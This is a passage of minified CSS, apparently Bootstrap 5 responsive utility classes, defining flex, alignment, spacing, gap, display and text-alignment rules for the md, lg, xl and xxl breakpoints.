!important}.flex-md-fill{flex:1 1 auto !important}.flex-md-row{flex-direction:row !important}.flex-md-column{flex-direction:column !important}.flex-md-row-reverse{flex-direction:row-reverse !important}.flex-md-column-reverse{flex-direction:column-reverse !important}.flex-md-grow-0{flex-grow:0 !important}.flex-md-grow-1{flex-grow:1 !important}.flex-md-shrink-0{flex-shrink:0 !important}.flex-md-shrink-1{flex-shrink:1 !important}.flex-md-wrap{flex-wrap:wrap !important}.flex-md-nowrap{flex-wrap:nowrap !important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse !important}.justify-content-md-start{justify-content:flex-start !important}.justify-content-md-end{justify-content:flex-end !important}.justify-content-md-center{justify-content:center !important}.justify-content-md-between{justify-content:space-between !important}.justify-content-md-around{justify-content:space-around !important}.justify-content-md-evenly{justify-content:space-evenly !important}.align-items-md-start{align-items:flex-start !important}.align-items-md-end{align-items:flex-end !important}.align-items-md-center{align-items:center !important}.align-items-md-baseline{align-items:baseline !important}.align-items-md-stretch{align-items:stretch !important}.align-content-md-start{align-content:flex-start !important}.align-content-md-end{align-content:flex-end !important}.align-content-md-center{align-content:center !important}.align-content-md-between{align-content:space-between !important}.align-content-md-around{align-content:space-around !important}.align-content-md-stretch{align-content:stretch !important}.align-self-md-auto{align-self:auto !important}.align-self-md-start{align-self:flex-start !important}.align-self-md-end{align-self:flex-end !important}.align-self-md-center{align-self:center !important}.align-self-md-baseline{align-self:baseline !important}.align-self-md-stretch{align-self:stretch !important}.order-md-first{order:-1 !important}.order-md-0{order:0 !important}.order-md-1{order:1 !important}.order-md-2{order:2 !important}.order-md-3{order:3 !important}.order-md-4{order:4 !important}.order-md-5{order:5 !important}.order-md-last{order:6 !important}.m-md-0{margin:0 !important}.m-md-1{margin:.25rem !important}.m-md-2{margin:.5rem !important}.m-md-3{margin:1rem !important}.m-md-4{margin:1.5rem !important}.m-md-5{margin:3rem !important}.m-md-auto{margin:auto !important}.mx-md-0{margin-right:0 !important;margin-left:0 !important}.mx-md-1{margin-right:.25rem !important;margin-left:.25rem !important}.mx-md-2{margin-right:.5rem !important;margin-left:.5rem !important}.mx-md-3{margin-right:1rem !important;margin-left:1rem !important}.mx-md-4{margin-right:1.5rem !important;margin-left:1.5rem !important}.mx-md-5{margin-right:3rem !important;margin-left:3rem !important}.mx-md-auto{margin-right:auto !important;margin-left:auto !important}.my-md-0{margin-top:0 !important;margin-bottom:0 !important}.my-md-1{margin-top:.25rem !important;margin-bottom:.25rem !important}.my-md-2{margin-top:.5rem !important;margin-bottom:.5rem !important}.my-md-3{margin-top:1rem !important;margin-bottom:1rem !important}.my-md-4{margin-top:1.5rem !important;margin-bottom:1.5rem !important}.my-md-5{margin-top:3rem !important;margin-bottom:3rem !important}.my-md-auto{margin-top:auto !important;margin-bottom:auto !important}.mt-md-0{margin-top:0 !important}.mt-md-1{margin-top:.25rem !important}.mt-md-2{margin-top:.5rem !important}.mt-md-3{margin-top:1rem !important}.mt-md-4{margin-top:1.5rem !important}.mt-md-5{margin-top:3rem !important}.mt-md-auto{margin-top:auto !important}.me-md-0{margin-right:0 !important}.me-md-1{margin-right:.25rem !important}.me-md-2{margin-right:.5rem !important}.me-md-3{margin-right:1rem !important}.me-md-4{margin-right:1.5rem !important}.me-md-5{margin-right:3rem !important}.me-md-auto{margin-right:auto !important}.mb-md-0{margin-bottom:0 !important}.mb-md-1{margin-bottom:.25rem !important}.mb-md-2{margin-bottom:.5rem !important}.mb-md-3{margin-bottom:1rem !important}.mb-md-4{margin-bottom:1.5rem !important}.mb-md-5{margin-bottom:3rem !important}.mb-md-auto{margin-bottom:auto !important}.ms-md-0{margin-left:0 !important}.ms-md-1{margin-left:.25rem !important}.ms-md-2{margin-left:.5rem !important}.ms-md-3{margin-left:1rem !important}.ms-md-4{margin-left:1.5rem !important}.ms-md-5{margin-left:3rem !important}.ms-md-auto{margin-left:auto !important}.p-md-0{padding:0 !important}.p-md-1{padding:.25rem !important}.p-md-2{padding:.5rem !important}.p-md-3{padding:1rem !important}.p-md-4{padding:1.5rem !important}.p-md-5{padding:3rem !important}.px-md-0{padding-right:0 !important;padding-left:0 !important}.px-md-1{padding-right:.25rem !important;padding-left:.25rem !important}.px-md-2{padding-right:.5rem !important;padding-left:.5rem !important}.px-md-3{padding-right:1rem !important;padding-left:1rem !important}.px-md-4{padding-right:1.5rem !important;padding-left:1.5rem !important}.px-md-5{padding-right:3rem !important;padding-left:3rem !important}.py-md-0{padding-top:0 !important;padding-bottom:0 !important}.py-md-1{padding-top:.25rem !important;padding-bottom:.25rem !important}.py-md-2{padding-top:.5rem !important;padding-bottom:.5rem !important}.py-md-3{padding-top:1rem !important;padding-bottom:1rem !important}.py-md-4{padding-top:1.5rem !important;padding-bottom:1.5rem !important}.py-md-5{padding-top:3rem !important;padding-bottom:3rem !important}.pt-md-0{padding-top:0 !important}.pt-md-1{padding-top:.25rem !important}.pt-md-2{padding-top:.5rem !important}.pt-md-3{padding-top:1rem !important}.pt-md-4{padding-top:1.5rem !important}.pt-md-5{padding-top:3rem !important}.pe-md-0{padding-right:0 !important}.pe-md-1{padding-right:.25rem !important}.pe-md-2{padding-right:.5rem !important}.pe-md-3{padding-right:1rem !important}.pe-md-4{padding-right:1.5rem !important}.pe-md-5{padding-right:3rem !important}.pb-md-0{padding-bottom:0 !important}.pb-md-1{padding-bottom:.25rem !important}.pb-md-2{padding-bottom:.5rem !important}.pb-md-3{padding-bottom:1rem !important}.pb-md-4{padding-bottom:1.5rem !important}.pb-md-5{padding-bottom:3rem !important}.ps-md-0{padding-left:0 !important}.ps-md-1{padding-left:.25rem !important}.ps-md-2{padding-left:.5rem !important}.ps-md-3{padding-left:1rem !important}.ps-md-4{padding-left:1.5rem !important}.ps-md-5{padding-left:3rem !important}.gap-md-0{gap:0 !important}.gap-md-1{gap:.25rem !important}.gap-md-2{gap:.5rem !important}.gap-md-3{gap:1rem !important}.gap-md-4{gap:1.5rem !important}.gap-md-5{gap:3rem !important}.row-gap-md-0{row-gap:0 !important}.row-gap-md-1{row-gap:.25rem !important}.row-gap-md-2{row-gap:.5rem !important}.row-gap-md-3{row-gap:1rem !important}.row-gap-md-4{row-gap:1.5rem !important}.row-gap-md-5{row-gap:3rem !important}.column-gap-md-0{column-gap:0 !important}.column-gap-md-1{column-gap:.25rem !important}.column-gap-md-2{column-gap:.5rem !important}.column-gap-md-3{column-gap:1rem !important}.column-gap-md-4{column-gap:1.5rem !important}.column-gap-md-5{column-gap:3rem !important}.text-md-start{text-align:left !important}.text-md-end{text-align:right !important}.text-md-center{text-align:center !important}}@media(min-width: 992px){.float-lg-start{float:left !important}.float-lg-end{float:right !important}.float-lg-none{float:none !important}.object-fit-lg-contain{object-fit:contain !important}.object-fit-lg-cover{object-fit:cover !important}.object-fit-lg-fill{object-fit:fill !important}.object-fit-lg-scale{object-fit:scale-down !important}.object-fit-lg-none{object-fit:none !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-block{display:block !important}.d-lg-grid{display:grid !important}.d-lg-inline-grid{display:inline-grid !important}.d-lg-table{display:table !important}.d-lg-table-row{display:table-row !important}.d-lg-table-cell{display:table-cell !important}.d-lg-flex{display:flex !important}.d-lg-inline-flex{display:inline-flex !important}.d-lg-none{display:none !important}.flex-lg-fill{flex:1 1 auto !important}.flex-lg-row{flex-direction:row !important}.flex-lg-column{flex-direction:column !important}.flex-lg-row-reverse{flex-direction:row-reverse !important}.flex-lg-column-reverse{flex-direction:column-reverse !important}.flex-lg-grow-0{flex-grow:0 !important}.flex-lg-grow-1{flex-grow:1 !important}.flex-lg-shrink-0{flex-shrink:0 !important}.flex-lg-shrink-1{flex-shrink:1 !important}.flex-lg-wrap{flex-wrap:wrap !important}.flex-lg-nowrap{flex-wrap:nowrap !important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse !important}.justify-content-lg-start{justify-content:flex-start !important}.justify-content-lg-end{justify-content:flex-end !important}.justify-content-lg-center{justify-content:center !important}.justify-content-lg-between{justify-content:space-between !important}.justify-content-lg-around{justify-content:space-around !important}.justify-content-lg-evenly{justify-content:space-evenly !important}.align-items-lg-start{align-items:flex-start !important}.align-items-lg-end{align-items:flex-end !important}.align-items-lg-center{align-items:center !important}.align-items-lg-baseline{align-items:baseline !important}.align-items-lg-stretch{align-items:stretch !important}.align-content-lg-start{align-content:flex-start !important}.align-content-lg-end{align-content:flex-end !important}.align-content-lg-center{align-content:center !important}.align-content-lg-between{align-content:space-between !important}.align-content-lg-around{align-content:space-around !important}.align-content-lg-stretch{align-content:stretch !important}.align-self-lg-auto{align-self:auto !important}.align-self-lg-start{align-self:flex-start !important}.align-self-lg-end{align-self:flex-end !important}.align-self-lg-center{align-self:center !important}.align-self-lg-baseline{align-self:baseline !important}.align-self-lg-stretch{align-self:stretch !important}.order-lg-first{order:-1 !important}.order-lg-0{order:0 !important}.order-lg-1{order:1 !important}.order-lg-2{order:2 !important}.order-lg-3{order:3 !important}.order-lg-4{order:4 !important}.order-lg-5{order:5 !important}.order-lg-last{order:6 !important}.m-lg-0{margin:0 !important}.m-lg-1{margin:.25rem !important}.m-lg-2{margin:.5rem !important}.m-lg-3{margin:1rem !important}.m-lg-4{margin:1.5rem !important}.m-lg-5{margin:3rem !important}.m-lg-auto{margin:auto !important}.mx-lg-0{margin-right:0 !important;margin-left:0 !important}.mx-lg-1{margin-right:.25rem !important;margin-left:.25rem !important}.mx-lg-2{margin-right:.5rem !important;margin-left:.5rem !important}.mx-lg-3{margin-right:1rem !important;margin-left:1rem !important}.mx-lg-4{margin-right:1.5rem !important;margin-left:1.5rem !important}.mx-lg-5{margin-right:3rem !important;margin-left:3rem !important}.mx-lg-auto{margin-right:auto !important;margin-left:auto !important}.my-lg-0{margin-top:0 !important;margin-bottom:0 !important}.my-lg-1{margin-top:.25rem !important;margin-bottom:.25rem !important}.my-lg-2{margin-top:.5rem !important;margin-bottom:.5rem !important}.my-lg-3{margin-top:1rem !important;margin-bottom:1rem !important}.my-lg-4{margin-top:1.5rem !important;margin-bottom:1.5rem !important}.my-lg-5{margin-top:3rem !important;margin-bottom:3rem !important}.my-lg-auto{margin-top:auto !important;margin-bottom:auto !important}.mt-lg-0{margin-top:0 !important}.mt-lg-1{margin-top:.25rem !important}.mt-lg-2{margin-top:.5rem !important}.mt-lg-3{margin-top:1rem !important}.mt-lg-4{margin-top:1.5rem !important}.mt-lg-5{margin-top:3rem !important}.mt-lg-auto{margin-top:auto !important}.me-lg-0{margin-right:0 !important}.me-lg-1{margin-right:.25rem !important}.me-lg-2{margin-right:.5rem !important}.me-lg-3{margin-right:1rem !important}.me-lg-4{margin-right:1.5rem !important}.me-lg-5{margin-right:3rem !important}.me-lg-auto{margin-right:auto !important}.mb-lg-0{margin-bottom:0 !important}.mb-lg-1{margin-bottom:.25rem !important}.mb-lg-2{margin-bottom:.5rem !important}.mb-lg-3{margin-bottom:1rem !important}.mb-lg-4{margin-bottom:1.5rem !important}.mb-lg-5{margin-bottom:3rem !important}.mb-lg-auto{margin-bottom:auto !important}.ms-lg-0{margin-left:0 !important}.ms-lg-1{margin-left:.25rem !important}.ms-lg-2{margin-left:.5rem !important}.ms-lg-3{margin-left:1rem !important}.ms-lg-4{margin-left:1.5rem !important}.ms-lg-5{margin-left:3rem !important}.ms-lg-auto{margin-left:auto !important}.p-lg-0{padding:0 !important}.p-lg-1{padding:.25rem !important}.p-lg-2{padding:.5rem !important}.p-lg-3{padding:1rem !important}.p-lg-4{padding:1.5rem !important}.p-lg-5{padding:3rem !important}.px-lg-0{padding-right:0 !important;padding-left:0 !important}.px-lg-1{padding-right:.25rem !important;padding-left:.25rem !important}.px-lg-2{padding-right:.5rem !important;padding-left:.5rem !important}.px-lg-3{padding-right:1rem !important;padding-left:1rem !important}.px-lg-4{padding-right:1.5rem !important;padding-left:1.5rem !important}.px-lg-5{padding-right:3rem !important;padding-left:3rem !important}.py-lg-0{padding-top:0 !important;padding-bottom:0 !important}.py-lg-1{padding-top:.25rem !important;padding-bottom:.25rem !important}.py-lg-2{padding-top:.5rem !important;padding-bottom:.5rem !important}.py-lg-3{padding-top:1rem !important;padding-bottom:1rem !important}.py-lg-4{padding-top:1.5rem !important;padding-bottom:1.5rem !important}.py-lg-5{padding-top:3rem !important;padding-bottom:3rem !important}.pt-lg-0{padding-top:0 !important}.pt-lg-1{padding-top:.25rem !important}.pt-lg-2{padding-top:.5rem !important}.pt-lg-3{padding-top:1rem !important}.pt-lg-4{padding-top:1.5rem !important}.pt-lg-5{padding-top:3rem !important}.pe-lg-0{padding-right:0 !important}.pe-lg-1{padding-right:.25rem !important}.pe-lg-2{padding-right:.5rem !important}.pe-lg-3{padding-right:1rem !important}.pe-lg-4{padding-right:1.5rem !important}.pe-lg-5{padding-right:3rem !important}.pb-lg-0{padding-bottom:0 !important}.pb-lg-1{padding-bottom:.25rem !important}.pb-lg-2{padding-bottom:.5rem !important}.pb-lg-3{padding-bottom:1rem !important}.pb-lg-4{padding-bottom:1.5rem !important}.pb-lg-5{padding-bottom:3rem !important}.ps-lg-0{padding-left:0 !important}.ps-lg-1{padding-left:.25rem !important}.ps-lg-2{padding-left:.5rem !important}.ps-lg-3{padding-left:1rem !important}.ps-lg-4{padding-left:1.5rem !important}.ps-lg-5{padding-left:3rem !important}.gap-lg-0{gap:0 !important}.gap-lg-1{gap:.25rem !important}.gap-lg-2{gap:.5rem !important}.gap-lg-3{gap:1rem !important}.gap-lg-4{gap:1.5rem !important}.gap-lg-5{gap:3rem !important}.row-gap-lg-0{row-gap:0 !important}.row-gap-lg-1{row-gap:.25rem !important}.row-gap-lg-2{row-gap:.5rem !important}.row-gap-lg-3{row-gap:1rem !important}.row-gap-lg-4{row-gap:1.5rem !important}.row-gap-lg-5{row-gap:3rem !important}.column-gap-lg-0{column-gap:0 !important}.column-gap-lg-1{column-gap:.25rem !important}.column-gap-lg-2{column-gap:.5rem !important}.column-gap-lg-3{column-gap:1rem !important}.column-gap-lg-4{column-gap:1.5rem !important}.column-gap-lg-5{column-gap:3rem !important}.text-lg-start{text-align:left !important}.text-lg-end{text-align:right !important}.text-lg-center{text-align:center !important}}@media(min-width: 1200px){.float-xl-start{float:left !important}.float-xl-end{float:right !important}.float-xl-none{float:none !important}.object-fit-xl-contain{object-fit:contain !important}.object-fit-xl-cover{object-fit:cover !important}.object-fit-xl-fill{object-fit:fill !important}.object-fit-xl-scale{object-fit:scale-down !important}.object-fit-xl-none{object-fit:none !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-block{display:block !important}.d-xl-grid{display:grid !important}.d-xl-inline-grid{display:inline-grid !important}.d-xl-table{display:table !important}.d-xl-table-row{display:table-row !important}.d-xl-table-cell{display:table-cell !important}.d-xl-flex{display:flex !important}.d-xl-inline-flex{display:inline-flex !important}.d-xl-none{display:none !important}.flex-xl-fill{flex:1 1 auto !important}.flex-xl-row{flex-direction:row !important}.flex-xl-column{flex-direction:column !important}.flex-xl-row-reverse{flex-direction:row-reverse !important}.flex-xl-column-reverse{flex-direction:column-reverse !important}.flex-xl-grow-0{flex-grow:0 !important}.flex-xl-grow-1{flex-grow:1 !important}.flex-xl-shrink-0{flex-shrink:0 !important}.flex-xl-shrink-1{flex-shrink:1 !important}.flex-xl-wrap{flex-wrap:wrap !important}.flex-xl-nowrap{flex-wrap:nowrap !important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse !important}.justify-content-xl-start{justify-content:flex-start !important}.justify-content-xl-end{justify-content:flex-end !important}.justify-content-xl-center{justify-content:center !important}.justify-content-xl-between{justify-content:space-between !important}.justify-content-xl-around{justify-content:space-around !important}.justify-content-xl-evenly{justify-content:space-evenly !important}.align-items-xl-start{align-items:flex-start !important}.align-items-xl-end{align-items:flex-end !important}.align-items-xl-center{align-items:center !important}.align-items-xl-baseline{align-items:baseline !important}.align-items-xl-stretch{align-items:stretch !important}.align-content-xl-start{align-content:flex-start !important}.align-content-xl-end{align-content:flex-end !important}.align-content-xl-center{align-content:center !important}.align-content-xl-between{align-content:space-between !important}.align-content-xl-around{align-content:space-around !important}.align-content-xl-stretch{align-content:stretch !important}.align-self-xl-auto{align-self:auto !important}.align-self-xl-start{align-self:flex-start !important}.align-self-xl-end{align-self:flex-end !important}.align-self-xl-center{align-self:center !important}.align-self-xl-baseline{align-self:baseline !important}.align-self-xl-stretch{align-self:stretch !important}.order-xl-first{order:-1 !important}.order-xl-0{order:0 !important}.order-xl-1{order:1 !important}.order-xl-2{order:2 !important}.order-xl-3{order:3 !important}.order-xl-4{order:4 !important}.order-xl-5{order:5 !important}.order-xl-last{order:6 !important}.m-xl-0{margin:0 !important}.m-xl-1{margin:.25rem !important}.m-xl-2{margin:.5rem !important}.m-xl-3{margin:1rem !important}.m-xl-4{margin:1.5rem !important}.m-xl-5{margin:3rem !important}.m-xl-auto{margin:auto !important}.mx-xl-0{margin-right:0 !important;margin-left:0 !important}.mx-xl-1{margin-right:.25rem !important;margin-left:.25rem !important}.mx-xl-2{margin-right:.5rem !important;margin-left:.5rem !important}.mx-xl-3{margin-right:1rem !important;margin-left:1rem !important}.mx-xl-4{margin-right:1.5rem !important;margin-left:1.5rem !important}.mx-xl-5{margin-right:3rem !important;margin-left:3rem !important}.mx-xl-auto{margin-right:auto !important;margin-left:auto !important}.my-xl-0{margin-top:0 !important;margin-bottom:0 !important}.my-xl-1{margin-top:.25rem !important;margin-bottom:.25rem !important}.my-xl-2{margin-top:.5rem !important;margin-bottom:.5rem !important}.my-xl-3{margin-top:1rem !important;margin-bottom:1rem !important}.my-xl-4{margin-top:1.5rem !important;margin-bottom:1.5rem !important}.my-xl-5{margin-top:3rem !important;margin-bottom:3rem !important}.my-xl-auto{margin-top:auto !important;margin-bottom:auto !important}.mt-xl-0{margin-top:0 !important}.mt-xl-1{margin-top:.25rem !important}.mt-xl-2{margin-top:.5rem !important}.mt-xl-3{margin-top:1rem !important}.mt-xl-4{margin-top:1.5rem !important}.mt-xl-5{margin-top:3rem !important}.mt-xl-auto{margin-top:auto !important}.me-xl-0{margin-right:0 !important}.me-xl-1{margin-right:.25rem !important}.me-xl-2{margin-right:.5rem !important}.me-xl-3{margin-right:1rem !important}.me-xl-4{margin-right:1.5rem !important}.me-xl-5{margin-right:3rem !important}.me-xl-auto{margin-right:auto !important}.mb-xl-0{margin-bottom:0 !important}.mb-xl-1{margin-bottom:.25rem !important}.mb-xl-2{margin-bottom:.5rem !important}.mb-xl-3{margin-bottom:1rem !important}.mb-xl-4{margin-bottom:1.5rem !important}.mb-xl-5{margin-bottom:3rem !important}.mb-xl-auto{margin-bottom:auto !important}.ms-xl-0{margin-left:0 !important}.ms-xl-1{margin-left:.25rem !important}.ms-xl-2{margin-left:.5rem !important}.ms-xl-3{margin-left:1rem !important}.ms-xl-4{margin-left:1.5rem !important}.ms-xl-5{margin-left:3rem !important}.ms-xl-auto{margin-left:auto !important}.p-xl-0{padding:0 !important}.p-xl-1{padding:.25rem !important}.p-xl-2{padding:.5rem !important}.p-xl-3{padding:1rem !important}.p-xl-4{padding:1.5rem !important}.p-xl-5{padding:3rem !important}.px-xl-0{padding-right:0 !important;padding-left:0 !important}.px-xl-1{padding-right:.25rem !important;padding-left:.25rem !important}.px-xl-2{padding-right:.5rem !important;padding-left:.5rem !important}.px-xl-3{padding-right:1rem !important;padding-left:1rem !important}.px-xl-4{padding-right:1.5rem !important;padding-left:1.5rem !important}.px-xl-5{padding-right:3rem !important;padding-left:3rem !important}.py-xl-0{padding-top:0 !important;padding-bottom:0 !important}.py-xl-1{padding-top:.25rem !important;padding-bottom:.25rem !important}.py-xl-2{padding-top:.5rem !important;padding-bottom:.5rem !important}.py-xl-3{padding-top:1rem !important;padding-bottom:1rem !important}.py-xl-4{padding-top:1.5rem !important;padding-bottom:1.5rem !important}.py-xl-5{padding-top:3rem !important;padding-bottom:3rem !important}.pt-xl-0{padding-top:0 !important}.pt-xl-1{padding-top:.25rem !important}.pt-xl-2{padding-top:.5rem !important}.pt-xl-3{padding-top:1rem !important}.pt-xl-4{padding-top:1.5rem !important}.pt-xl-5{padding-top:3rem !important}.pe-xl-0{padding-right:0 !important}.pe-xl-1{padding-right:.25rem !important}.pe-xl-2{padding-right:.5rem !important}.pe-xl-3{padding-right:1rem !important}.pe-xl-4{padding-right:1.5rem !important}.pe-xl-5{padding-right:3rem !important}.pb-xl-0{padding-bottom:0 !important}.pb-xl-1{padding-bottom:.25rem !important}.pb-xl-2{padding-bottom:.5rem !important}.pb-xl-3{padding-bottom:1rem !important}.pb-xl-4{padding-bottom:1.5rem !important}.pb-xl-5{padding-bottom:3rem !important}.ps-xl-0{padding-left:0 !important}.ps-xl-1{padding-left:.25rem !important}.ps-xl-2{padding-left:.5rem !important}.ps-xl-3{padding-left:1rem !important}.ps-xl-4{padding-left:1.5rem !important}.ps-xl-5{padding-left:3rem !important}.gap-xl-0{gap:0 !important}.gap-xl-1{gap:.25rem !important}.gap-xl-2{gap:.5rem !important}.gap-xl-3{gap:1rem !important}.gap-xl-4{gap:1.5rem !important}.gap-xl-5{gap:3rem !important}.row-gap-xl-0{row-gap:0 !important}.row-gap-xl-1{row-gap:.25rem !important}.row-gap-xl-2{row-gap:.5rem !important}.row-gap-xl-3{row-gap:1rem !important}.row-gap-xl-4{row-gap:1.5rem !important}.row-gap-xl-5{row-gap:3rem !important}.column-gap-xl-0{column-gap:0 !important}.column-gap-xl-1{column-gap:.25rem !important}.column-gap-xl-2{column-gap:.5rem !important}.column-gap-xl-3{column-gap:1rem !important}.column-gap-xl-4{column-gap:1.5rem !important}.column-gap-xl-5{column-gap:3rem !important}.text-xl-start{text-align:left !important}.text-xl-end{text-align:right !important}.text-xl-center{text-align:center !important}}@media(min-width: 1400px){.float-xxl-start{float:left !important}.float-xxl-end{float:right !important}.float-xxl-none{float:none !important}.object-fit-xxl-contain{object-fit:contain !important}.object-fit-xxl-cover{object-fit:cover !important}.object-fit-xxl-fill{object-fit:fill !important}.object-fit-xxl-scale{object-fit:scale-down !important}.object-fit-xxl-none{object-fit:none !important}.d-xxl-inline{display:inline !important}.d-xxl-inline-block{display:inline-block !important}.d-xxl-block{display:block !important}.d-xxl-grid{display:grid !important}.d-xxl-inline-grid{display:inline-grid !important}.d-xxl-table{display:table !important}.d-xxl-table-row{display:table-row !important}.d-xxl-table-cell{display:table-cell !important}.d-xxl-flex{display:flex !important}.d-xxl-inline-flex{display:inline-flex !important}.d-xxl-none{display:none !important}.flex-xxl-fill{flex:1 1 auto !important}.flex-xxl-row{flex-direction:row !important}.flex-xxl-column{flex-direction:column !important}.flex-xxl-row-reverse{flex-direction:row-reverse !important}.flex-xxl-column-reverse{flex-direction:column-reverse !important}.flex-xxl-grow-0{flex-grow:0 !important}.flex-xxl-grow-1{flex-grow:1 !important}.flex-xxl-shrink-0{flex-shrink:0 !important}.flex-xxl-shrink-1{flex-shrink:1 !important}.flex-xxl-wrap{flex-wrap:wrap !important}.flex-xxl-nowrap{flex-wrap:nowrap !important}.flex-xxl-wrap-reverse{flex-wrap:wrap-reverse !important}.justify-content-xxl-start{justify-content:flex-start !important}.justify-content-xxl-end{justify-content:flex-end !important}.justify-content-xxl-center{justify-content:center !important}.justify-content-xxl-between{justify-content:space-between !important}.justify-content-xxl-around{justify-content:space-around !important}.justify-content-xxl-evenly{justify-content:space-evenly !important}.align-items-xxl-start{align-items:flex-start !important}.align-items-xxl-end{align-items:flex-end !important}.align-items-xxl-center{align-items:center !important}.align-items-xxl-baseline{align-items:baseline !important}.align-items-xxl-stretch{align-items:stretch !important}.align-content-xxl-start{align-content:flex-start !important}.align-content-xxl-end{align-content:flex-end !important}.align-content-xxl-center{align-content:center !important}.align-content-xxl-between{align-content:space-between !important}.align-content-xxl-around{align-content:space-around !important}.align-content-xxl-stretch{align-content:stretch !important}.align-self-xxl-auto{align-self:auto !important}.align-self-xxl-start{align-self:flex-start !important}.align-self-xxl-end{align-self:flex-end !important}.align-self-xxl-center{align-self:center !important}.align-self-xxl-baseline{align-self:baseline !important}.align-self-xxl-stretch{align-self:stretch !important}.order-xxl-first{order:-1 !important}.order-xxl-0{order:0 !important}.order-xxl-1{order:1 !important}.order-xxl-2{order:2 !important}.order-xxl-3{order:3 !important}.order-xxl-4{order:4 !important}.order-xxl-5{order:5 !important}.order-xxl-last{order:6 !important}.m-xxl-0{margin:0 !important}.m-xxl-1{margin:.25rem !important}.m-xxl-2{margin:.5rem !important}.m-xxl-3{margin:1rem !important}.m-xxl-4{margin:1.5rem !important}.m-xxl-5{margin:3rem !important}.m-xxl-auto{margin:auto !important}.mx-xxl-0{margin-right:0 !important;margin-left:0 !important}.mx-xxl-1{margin-right:.25rem !important;margin-left:.25rem !important}.mx-xxl-2{margin-right:.5rem !important;margin-left:.5rem !important}.mx-xxl-3{margin-right:1rem !important;margin-left:1rem !important}.mx-xxl-4{margin-right:1.5rem !important;margin-left:1.5rem !important}.mx-xxl-5{margin-right:3rem !important;margin-left:3rem !important}.mx-xxl-auto{margin-right:auto !important;margin-left:auto !important}.my-xxl-0{margin-top:0 !important;margin-bottom:0 !important}.my-xxl-1{margin-top:.25rem !important;margin-bottom:.25rem !important}.my-xxl-2{margin-top:.5rem !important;margin-bottom:.5rem !important}.my-xxl-3{margin-top:1rem !important;margin-bottom:1rem !important}.my-xxl-4{margin-top:1.5rem !important;margin-bottom:1.5rem !important}.my-xxl-5{margin-top:3rem !important;margin-bottom:3rem !important}.my-xxl-auto{margin-top:auto !important;margin-bottom:auto !important}.mt-xxl-0{margin-top:0 !important}.mt-xxl-1{margin-top:.25rem !important}.mt-xxl-2{margin-top:.5rem !important}.mt-xxl-3{margin-top:1rem !important}.mt-xxl-4{margin-top:1.5rem !important}.mt-xxl-5{margin-top:3rem !important}.mt-xxl-auto{margin-top:auto !important}.me-xxl-0{margin-right:0 !important}.me-xxl-1{margin-right:.25rem !important}.me-xxl-2{margin-right:.5rem !important}.me-xxl-3{margin-right:1rem !important}.me-xxl-4{margin-right:1.5rem !important}.me-xxl-5{margin-right:3rem !important}.me-xxl-auto{margin-right:auto !important}.mb-xxl-0{margin-bottom:0 !important}.mb-xxl-1{margin-bottom:.25rem !important}.mb-xxl-2{margin-bottom:.5rem !important}.mb-xxl-3{margin-bottom:1rem !important}.mb-xxl-4{margin-bottom:1.5rem !important}.mb-xxl-5{margin-bottom:3rem !important}.mb-xxl-auto{margin-bottom:auto !important}.ms-xxl-0{margin-left:0 !important}.ms-xxl-1{margin-left:.25rem !important}.ms-xxl-2{margin-left:.5rem !important}.ms-xxl-3{margin-left:1rem !important}.ms-xxl-4{margin-left:1.5rem !important}.ms-xxl-5{margin-left:3rem !important}.ms-xxl-auto{margin-left:auto !important}.p-xxl-0{padding:0 !important}.p-xxl-1{padding:.25rem !important}.p-xxl-2{padding:.5rem !important}.p-xxl-3{padding:1rem !important}.p-xxl-4{padding:1.5rem !important}.p-xxl-5{padding:3rem !important}.px-xxl-0{padding-right:0 !important;padding-left:0 !important}.px-xxl-1{padding-right:.25rem !important;padding-left:.25rem !important}.px-xxl-2{padding-right:.5rem !important;padding-left:.5rem !important}.px-xxl-3{padding-right:1rem !important;padding-left:1rem !important}.px-xxl-4{padding-right:1.5rem !important;padding-left:1.5rem !important}.px-xxl-5{padding-right:3rem !important;padding-left:3rem !important}.py-xxl-0{padding-top:0 !important;padding-bottom:0 !important}.py-xxl-1{padding-top:.25rem !important;padding-bottom:.25rem !important}.py-xxl-2{padding-top:.5rem !important;padding-bottom:.5rem !important}.py-xxl-3{padding-top:1rem !important;padding-bottom:1rem !important}.py-xxl-4{padding-top:1.5rem !important;padding-bottom:1.5rem !important}.py-xxl-5{padding-top:3rem !important;padding-bottom:3rem !important}.pt-xxl-0{padding-top:0 !important}.pt-xxl-1{padding-top:.25rem !important}.pt-xxl-2{padding-top:.5rem !important}.pt-xxl-3{padding-top:1rem !important}.pt-xxl-4{padding-top:1.5rem !important}.pt-xxl-5{padding-top:3rem !important}.pe-xxl-0{padding-right:0 !important}.pe-xxl-1{padding-right:.25rem !important}.pe-xxl-2{padding-right:.5rem !important}.pe-xxl-3{padding-right:1rem !important}.pe-xxl-4{padding-right:1.5rem !important}.pe-xxl-5{padding-right:3rem !important}.pb-xxl-0{padding-bottom:0 !important}.pb-xxl-1{padding-bottom:.25rem !important}.pb-xxl-2{padding-bottom:.5rem !important}.pb-xxl-3{padding-bottom:1rem !important}.pb-xxl-4{padding-bottom:1.5rem !important}.pb-xxl-5{padding-bottom:3rem !important}.ps-xxl-0{padding-left:0 !important}.ps-xxl-1{padding-left:.25rem !important}.ps-xxl-2{padding-left:.5rem !important}.ps-xxl-3{padding-left:1rem !important}.ps-xxl-4{padding-left:1.5rem !important}.ps-xxl-5{padding-left:3rem !important}.gap-xxl-0{gap:0 !important}.gap-xxl-1{gap:.25rem !important}.gap-xxl-2{gap:.5rem !important}.gap-xxl-3{gap:1rem !important}.gap-xxl-4{gap:1.5rem !important}.gap-xxl-5{gap:3rem !important}.row-gap-xxl-0{row-gap:0 !important}.row-gap-xxl-1{row-gap:.25rem !important}.row-gap-xxl-2{row-gap:.5rem !important}.row-gap-xxl-3{row-gap:1rem !important}.row-gap-xxl-4{row-gap:1.5rem !important}.row-gap-xxl-5{row-gap:3rem !important}.column-gap-xxl-0{column-gap:0 !important}.column-gap-xxl-1{column-gap:.25rem !important}.column-gap-xxl-2{column-gap:.5rem !important}.column-gap-xxl-3{column-gap:1rem !important}.column-gap-xxl-4{column-gap:1.5rem !important}.column-gap-xxl-5{column-gap:3rem !important}.text-xxl-start{text-align:left !important}.text-xxl-end{text-align:right !important}.text-xxl-center{text-align:center !important}}@media(min-width: 